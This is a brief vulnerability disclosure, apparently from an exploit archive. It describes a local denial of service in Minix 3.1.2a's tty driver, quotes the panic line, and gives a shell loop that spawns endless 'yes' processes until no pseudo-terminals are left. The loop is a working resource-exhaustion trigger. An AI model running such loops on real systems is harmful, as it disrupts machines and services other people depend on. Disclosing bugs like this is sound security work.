Minix version 3.1.2a suffers from a tty panic local denial of service vulnerability.
c62bfc6a7420bf5edae1534ed45b7ed9d24b51a164f9bced3dc7394931a1f3e5
# kokanin@gmail 20080723
# minix 3.1.2a tty panic
trunk/src/drivers/tty/tty.c
14965 if ((status = send(replyee, &tty_mess)) != OK) {
14966 panic("TTY","tty_reply failed, status\n", status);
$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C
...disconnected
telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.
hai, no moar pty, kthxbye
--
kokanin